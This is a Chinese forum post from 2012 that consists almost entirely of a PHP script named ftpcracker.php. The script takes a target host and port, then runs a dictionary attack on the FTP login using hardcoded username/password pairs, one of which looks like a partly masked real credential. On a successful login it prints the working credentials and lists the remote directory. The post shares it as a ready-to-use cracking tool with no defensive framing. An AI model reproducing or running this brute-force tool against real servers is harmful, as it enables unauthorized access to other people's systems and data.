管理员
|
楼主#
更多
发布于:2012-10-08 12:58
| | | | <?php/** * ftpcracker.php * * @author qingshen <http://hi.baidu.com/qingshen1990 > *//** * 下面是密码字典,其中键名是用户名,键值是密码 */$wordlist = array(""=>"","admin"=>"admin","qingshen"=>"qingshen","123"=>"123","*plj*****"=>"5*********5560f");/** * FTP类 */class FTP{/*** 设置要破解的主机ip地址*/var $host;/*** 设置端口号*/var $port;/*** 用来保存返回的句柄号*/var $ftp;/*** 设置主机ip地址*/function sethost($host){$this->host = $host;}/*** 设置主机端口号*/function setport($port = 21){$this->port = $port;}/*** 和主机进行连接*/function connect(){$this->ftp = ftp_connect($this->host,$this->port,5);if(!$this->ftp)die("connect to $this->host failed!\n");}/** * 程序的核心部分,进行破解成功时输出用户名和密码 */function crackftp(){$wordlist1 = $GLOBALS[wordlist];for($i = 0;$i<count($wordlist1);$i++){$userpass = each($wordlist1);$is_log = ftp_login($this->ftp,$userpass[key],$userpass[value]);if($is_log){echo "loged in!\n";echo "user is $userpass[key],pass is $userpass[value]\n";$dir = ftp_pwd($this->ftp);$arr = ftp_rawlist($this->ftp,$dir);echo "The current directory is:\n";print_r($arr);die("find user and pass");}}echo "crack failed\n";}}$ftpcrack = new FTP;/** * 判断参数个数是否满足要,提取参数,并将其保存起来 */switch($argc){case 1:die("Missing argument\n");break;case 2:{$ftpcrack->sethost($argv[1]);$ftpcrack->sethost($argv[1]);break;}case 3:{$ftpcrack->sethost($argv[1]);$ftpcrack->setport($argv[2]);break;}default :die("More number of parameters"); }$ftpcrack->connect();$ftpcrack->crackftp();?>
| | | | |
|